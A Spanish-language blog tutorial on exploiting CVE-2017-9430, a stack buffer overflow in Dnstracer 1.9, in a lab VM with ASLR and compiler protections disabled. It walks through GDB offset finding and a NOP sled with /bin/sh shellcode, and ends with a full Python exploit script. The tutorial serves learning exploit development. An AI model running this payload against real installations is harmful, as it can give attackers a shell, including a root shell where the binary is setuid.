Desarrollo de exploits (Buffer Overflow): CVE-2017-9430

Descripcion

Hace poco comencé a interesarme por el mundo de los exploits sobre todo los relacionados con Linux, PS4 y Webkit.
Hoy quiero hacer un pequeño resumen de como explotar la vulnerabilidad CVE-2017-9430 presente en Dnstracer, una utilidad presente en muchos repositorios y distribuciones que permite determinar de donde un DNS obtiene su información y sigue la cadena de servidores DNS de nuevo a los servidores que conocen los datos.
Esta vulnerabilidad fue reportada por Hosein Askari el 04-06-2017 para la version 1.8.1 de Dnstracer y fue identificada como CVE-2017-9430 .
A dia de hoy (02-08-2017) sigue existiendo la misma vulnerabilidad en la ultima versión disponible hasta hoy, Dnstracer 1.9 .

Desarrollo del exploit

Entorno

Antes de comenzar a explorar la vulnerabilidad he tenido que preparar un entorno donde desarrollar y probar el exploit. Para ello he montado una maquina virtual con Ubuntu 12.04 i686 (32 bits) a la cual le he desactivado el ASLR (Address space layout randomization) para evitar así que las direcciones de memoria donde se carga el programa cambien con cada ejecución. Para desactivarlo basta con ejecutar:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
					

Para volver a activar el ASLR hay que ejecutar:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
					

¿Qué es un Buffer Overflow?

Un Buffer Overflow es un desbordamiento de buffer y se produce cuando excedemos el tamaño maximo de un buffer y comenzamos a sobreescribir lo que se encuentra seguido en memoria.
Supongamos que tenemos un buffer de 12 caracteres como el siguiente:

Buffer Overflow


Si copiamos al buffer c una cadena de 6 caracteres como la que hay en la imagen no ocurre nada fuera de lo común, pero si en lugar de introducir 6 caracteres introducimos mas de 12 lo que ocurre es que comenzaremos a sobreescribir los siguientes datos ya que la memoria crece a medida que bajamos en la imagen.
Si no realizamos un control de errores adecuado para evitar que se introduzcan más caracteres que los que permite el buffer, los datos se comenzarán a sobreescribir comenzando por sobreescribir el puntero char *bar seguido del Frame pointer y de la dirección de retorno y demás datos que se encuentren a continuación.
El problema surge cuando se sobreescribe la dirección de retorno ya que cuando acabe de ejecutarse la función siempre encontramos una intrucción enamblador ret que de lo que se encarga es de volver la ejecucion al punto siguiente del que realizó la llamada a la función actual.
Esto es usado por los atacantes para sobreescribir la dirección de retorno y hacer que apunte donde ellos quieren, normalmente a comienzo del buffer que se ha desbordado porque ahi es donde ellos introducen el codigo malicioso que va a ejecutarse tras la instrucción ret.

Identificando la vulnerabilidad

Para comenzar a invesigar porque se produce el fallo hay que descargarse el codigo fuente del programa que podeis obtener de la web oficial .
Para comnzar la configuración tendremos que ejecutar:

./configure
					

Ese comando generara el Makefile que tenemos que modificar para que al compilarse, gcc lo compile sin añadir codigo extra para evitar que se realicen ataques de buffer overflow.
Para ello teneis que añadir lo siguiente al Makefile:


Una vez añadido eso, ya podremos compilarlo con el comando:

make
					

Y nos mostrará algo parecido a esto si todo ha ido correctamente:


Esto nos habra generado un ejecutable llamado dnstracer que es con el que vamos a trabajar.


Dnstracer puede ser explotada a traves de un buffer overflow que se produce cuando se le pasa como argumento al programa una cadena muy larga, concretamente este es el reporte que hizo Hosein del buffer overflow:

#dnstracer -v $(python -c 'print "A"*1025')
*** buffer overflow detected ***: dnstracer terminated
=3D=3D=3D=3D=3D=3D=3D Backtrace: =3D=3D=3D=3D=3D=3D=3D=3D=3D
/lib/x86_64-linux-gnu/libc.so.6(+0x70bcb)[0x7ff6e79edbcb]
/lib/x86_64-linux-gnu/libc.so.6(__fortify_fail+0x37)[0x7ff6e7a76037]
/lib/x86_64-linux-gnu/libc.so.6(+0xf7170)[0x7ff6e7a74170]
/lib/x86_64-linux-gnu/libc.so.6(+0xf64d2)[0x7ff6e7a734d2]
dnstracer(+0x2c8f)[0x5634368aac8f]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf1)[0x7ff6e799d2b1]
dnstracer(+0x2fca)[0x5634368aafca]
=3D=3D=3D=3D=3D=3D=3D Memory map: =3D=3D=3D=3D=3D=3D=3D=3D
5634368a8000-5634368b0000 r-xp 00000000 08:01 4850311                    /u=
sr/bin/dnstracer
563436aaf000-563436ab0000 r--p 00007000 08:01 4850311                    /u=
sr/bin/dnstracer
563436ab0000-563436ab1000 rw-p 00008000 08:01 4850311                    /u=
sr/bin/dnstracer
563436ab1000-563436ab3000 rw-p 00000000 00:00 0=20
563436c1d000-563436c3e000 rw-p 00000000 00:00 0                          [h=
eap]
7ff6e7766000-7ff6e777c000 r-xp 00000000 08:01 25823192                   /l=
ib/x86_64-linux-gnu/libgcc_s.so.1
7ff6e777c000-7ff6e797b000 ---p 00016000 08:01 25823192                   /l=
ib/x86_64-linux-gnu/libgcc_s.so.1
7ff6e797b000-7ff6e797c000 r--p 00015000 08:01 25823192                   /l=
ib/x86_64-linux-gnu/libgcc_s.so.1
7ff6e797c000-7ff6e797d000 rw-p 00016000 08:01 25823192                   /l=
ib/x86_64-linux-gnu/libgcc_s.so.1
7ff6e797d000-7ff6e7b12000 r-xp 00000000 08:01 25823976                   /l=
ib/x86_64-linux-gnu/libc-2.24.so
7ff6e7b12000-7ff6e7d11000 ---p 00195000 08:01 25823976                   /l=
ib/x86_64-linux-gnu/libc-2.24.so
7ff6e7d11000-7ff6e7d15000 r--p 00194000 08:01 25823976                   /l=
ib/x86_64-linux-gnu/libc-2.24.so
7ff6e7d15000-7ff6e7d17000 rw-p 00198000 08:01 25823976                   /l=
ib/x86_64-linux-gnu/libc-2.24.so
7ff6e7d17000-7ff6e7d1b000 rw-p 00000000 00:00 0=20
7ff6e7d1b000-7ff6e7d3e000 r-xp 00000000 08:01 25823455                   /l=
ib/x86_64-linux-gnu/ld-2.24.so
7ff6e7f13000-7ff6e7f15000 rw-p 00000000 00:00 0=20
7ff6e7f3a000-7ff6e7f3e000 rw-p 00000000 00:00 0=20
7ff6e7f3e000-7ff6e7f3f000 r--p 00023000 08:01 25823455                   /l=
ib/x86_64-linux-gnu/ld-2.24.so
7ff6e7f3f000-7ff6e7f40000 rw-p 00024000 08:01 25823455                   /l=
ib/x86_64-linux-gnu/ld-2.24.so
7ff6e7f40000-7ff6e7f41000 rw-p 00000000 00:00 0=20
7ffded62d000-7ffded64e000 rw-p 00000000 00:00 0                          [s=
tack]
7ffded767000-7ffded769000 r--p 00000000 00:00 0                          [v=
var]
7ffded769000-7ffded76b000 r-xp 00000000 00:00 0                          [v=
dso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [v=
syscall]
Aborted
					

El comando dnstracer -v $(python -c ‘print “A”*1025’) es lo mismo que escribir dnstracer -v AAAA… hasta 1025 As.

Si vamos a ver el codigo fuente (dnstracer.c) observamos en la linea 1622 (main) lo siguiente:


Vemos la función strcpy que lo que hace es coger el primer argumento pasado al programa y copiarlo a argv0.
Si buscamos donde esta argv0 encontramos lo encontramos al inicio del main en la linea 1515 de la siguiente forma:


Un array estático de longitud NS_MAXDNAME y si buscamos en el fichero dnstracer_broker.h en la linea 59 encontramos esto:


Ahora sabemos que el buffer argv0 es un array estático de longitud 1024.
Con esto llegamos a la conclusión que si introducimos un argumento de más de 1024 caracteres se producira un buffer overflow, como le ocurre a Hosein.


Podemos probar a ejecutar:

./dnstracer `perl -e 'print "A"x2000'`
					

Y apreciamos que también se produce el overflow:

Analizando la vulnerabilidad

Para poder ver que ocurre realmente cuando introducimos una cadena de mas de 1024 caracteres como argumento vamos a debbugearlo con GDB ejecutando:

gdb -q ./dnstracer
					

Una vez dentro de GDB podemos correr el programa y ver que información nos muestra cuando se produce el fallo. Para ello usamos el comando:

r  `perl -e 'print "A"x1060'`
					

(Esta vez he introducido 1060 caracteres, el caso es que sea lo suficientemente grando como para que se podruzca el fallo)


Observamos que GDB nos reporta un fallo de segmentacion y que ese fallo es provocado por la dirección 0x41414141.
El fallo que nos esta indicando es que estamos sobreescribiendo la dirección de retorno del main con la dirección 0x41414141 y que cuando el programa sigue ahí falla porque no es una zona de memoria que le ha sido asignada.
Si nos fijamos un poco en 0x41414141 podemos darnos cuenta que 41 es en hexadecimal la representación de la letra A asique ya sabemos que con 4 de esas 1060 A’s que hemos escrito estamos sobreescribiendo la dirección de retorno.
Para saber exactamente con que 4 letras estamos sobreescribiendo el retorno vamos a cambiar un poco el argumento por:

r  `perl -e 'print "A"x1052 . "BBBBCCCCDDDD"'`
					

Este comando lo unico que hace es escribir 1052 A’s seguidas de “BBBBCCCCDDDD”.
Si observamos ahora el reporte que produce GDB vemos lo siguiente:


Esta vez falla el fallo es 0x43424242, que si aplicamos la logica anterior, si A era 41 esa direccion será CBBB. Por lo que podemos obtener ya las letras con las que estamos sobreescribiendo la dirección de retorno.
Aun así para asegurarnos vamos a añadir una A más y vamos a escribir solamente 4 B’s con el siguiente comando:

r  `perl -e 'print "A"x1053 . "BBBB"'`
					


Ahora si hemos confirmado que podemos sustituir esas 4 B’s por la dirección de memoria a la que queramos ir.
Normalmente esa dirección de memoria suele ser el principio del buffer para poder así introducir ahi el codigo malicioso que queramos que se ejecute.
Lo que tenemos que hacer ahora es ver en que dirección comienza el buffer y para ello vamos a investigar un poco cuando se produce el strcpy.


Tenemos que desensamblar el programa y cooncretamente el main, para ello ejecutamos:

disass main
					

Y esto nos mostrara el código ensamblador que forma el main.
Si observamos la dirección 815 vemos que se produce un call a strcpy. Ese es el momento en que el que se sobreescribe la dirección de retorno.


Ahora vamos a poner un par de breakpoints antes y despues de que se ejecute el strcpy para ver que ocurre con la memoria. Para ello ejecutamos:

break *main+815
					

y

break *main+820
					

El segundo break point lo he puesto en la posicion 820 del main (la instrucción siguiente al call).


Ahora volevemos a ejecutar el programa con el comando con el que ya sabiamos exactamente donde estaba la dirección de retorno y veremos como se detiene en el primer breakpoint.
Una vez ahí podemos ejecutar el comando siguiente:

p argv0
					

Con el que podemos ver el contenido de la variable argv0 (el buffer que se desborda) antes de realizar el strcpy.
Para continuar al siguiente breakpoint ejecutamos

c
					

Y el programa se volverá a detener y podemos observar que si ejecutamos de nuevo el comando para ver que hay en la variable argv0 nos dice que hay 1025 A’s.
Ahora para ver en que dirección de memoria comienza argv0 tenemos que ejecutar el siguiente comando:

x/16x argv0
					

Este comando nos realizara un volcado de memoria de los 16 primeros bloques de memoria de la cadena argv0 en formato hexadecimal.
Nótese que mi maquina tiene un formato Little Endian y que el byte menos significativo se encuentra en la posicion mas alta.
Además este comando tambien nos indica en que posición se encuentra la variable argv0.


En mi caso la variable se encuentra en la posición 0xBFFFEAEF


Ahora tenemos que sustituir las letras B que sobreescribian la dirección de retorno por la dirección de memoria que acabamos de encontrar de la siguiente manera:




Cando ejecutemos el programa lo que hará será sobreescribir la dirección de retorno y la ejecución saltará al comienzo del buffer, pero dará error puesto que 0x41 (A) no es ninguna instrucción ensamblador válida.
Ahora lo que tenemos que hacer es introducir un shellcode en el buffer para que se ejecute.
Yo voy a usar una técnica que se llama colchon de nops, que consiste en rellenar la parte que sobra del buffer cuando introducimos el shellcode con instrucciones nops.
Las instrucciones nop (0x90 en hexadecimal) al ejecutarse no hacen nada, solamente pasan a la siguiente y de esta forma aunque al realizar el ret, la direccion de retorno sobreescrita apunte a la mitad del colchon de nops, la ejecución continuará hasta que se ejecute el shellcode.
Para lograr esto que acabo de explicar hay que ejecutar el siguiente comando:

r `perl -e 'print "\x90"x1030 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\xef\xea\xff\xbf"'`
					

Antes rellenabamos la cadena con 1053 A’s, pero como el shellcode ocupa 23 bytes, ahora tengo que rellenar con 1030 nops y luego el shellcode de 23.


Si lo ejecutamos continuando en los dos puntos de ruptura nos da un error en la posición 0xbfffef05:

Para hallar una solución lo que he hecho lo primero es ver que hay en esa dirección de memoria y al ver que no encontraba nada claro lo que he hecho ha sido ver que hay en esa posición de memoria - 16 y me he dado cuenta que justamente ahí es donde empieza el shellcode que hemos metido en la cadena.

La solución que he encontrado ha sido desplazar el shellcode 16 caracteres a la izquierda en la cadena porque según lo que hemos visto antes, se dejaba de ejecutar en la posición 0xbfffef05.
Para ello he restado 16 nops, y los he añadido detrás del shellcode a en forma de A’s como se ve en la siguiente imagen:


Tras ejecutar ese comando obtengo lo siguiente:


Hemos conseguido lo que buscabamos, ejecutar codigo arbitrario a partir de un desbordamiento de buffer, concretamente lo que hacía el shellcode era ejecutar un bash.

En el mundo real

Hasta ahora hemos conseguido ejecutar codigo arbitrario pero dentro de GDB.
Si ejecutamos el comando fuera en un terminal es muy probable que no funcione porque la dirección del buffer que nos da el GDB no es la misma que cuando se ejecuta de forma normal.
Para ello podemos hacer un pequeño truquito que nos puede ser util para aprender.
Lo que podemos hacer en modificar el código fuente (dnstrace.c) añadiendo el siguiente printf despues de la variable argv0:

printf("argv0: 0x%p", argv0);
					

Lo volvemos a compilar y ejecutamos y esto nos mostrará por pantalla la dirección de memoria en la que se encuentra argv0 realmente y como hemos desactivado ASLR siempre estará en esa dirección.


Una vez encontrada la dirección real basta con sustituirla en el comando.
Yo no contento con todo esto he hecho un pequeño script en python que lanza la aplicación y la explota de forma automática.

#Exploit author: j0lama (http://jolama.es/)
#Program: Dnstrace
#Version: Tested with 1.9
#CVE: CVE-2017-9430
#Tested under Ubuntu 12.04 i686
#Description: Dnstracer determines where a given Domain Name Server (DNS) gets its information from, and follows the chain of DNS servers back to the servers which know the data.
#Website: http://www.mavetju.org/unix/dnstracer-man.php

import os
from subprocess import call

def run():
    try:
        print "\nDNSTracer Stack-based Buffer Overflow"
        print "Author: j0lama"
        print "Tested with Dnstracer compile without buffer overflow protection"

        nops = "\x90"*1006
        shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
        filling = "A"*24
        eip = "\x2f\xeb\xff\xbf"

        #buf size = 1057
        buf = nops + shellcode + filling + eip

        call(["./dnstracer", buf])

    except OSError as e:
        if e.errno == os.errno.ENOENT:
            print "\nDnstracer not found!\n"
        else:
            print "\nError executing exploit\n"
        raise


if __name__ == '__main__':
    try:
        run()
    except Exception as e:
        print "Something went wrong"

Conclusiones

Hemos visto como por la simple falta de un control de errores puede aparecer una vulnerabilidad como esta y pueden tomar el control del sistema.
Si por algun casual la aplicacion llega a estar corriendo con el bit setuid activado o con permisos root, hubieramos conseguido una bash con permisos de administrador.
Hay que tener en cuenta que en la vida real es mucho mas complicado que todo esto y que encontramos muchos sitemas de seguridad como lo son la protección anti buffer overflow que hemos desactivado o el ASLR que tambien lo tenemos desactivado. A pesar de todas esas medidas, una vulnerabilidad de este estilo se podria explotar evadiendo todos esos sitemas de seguridad.


Espero que os haya servido.
j0lama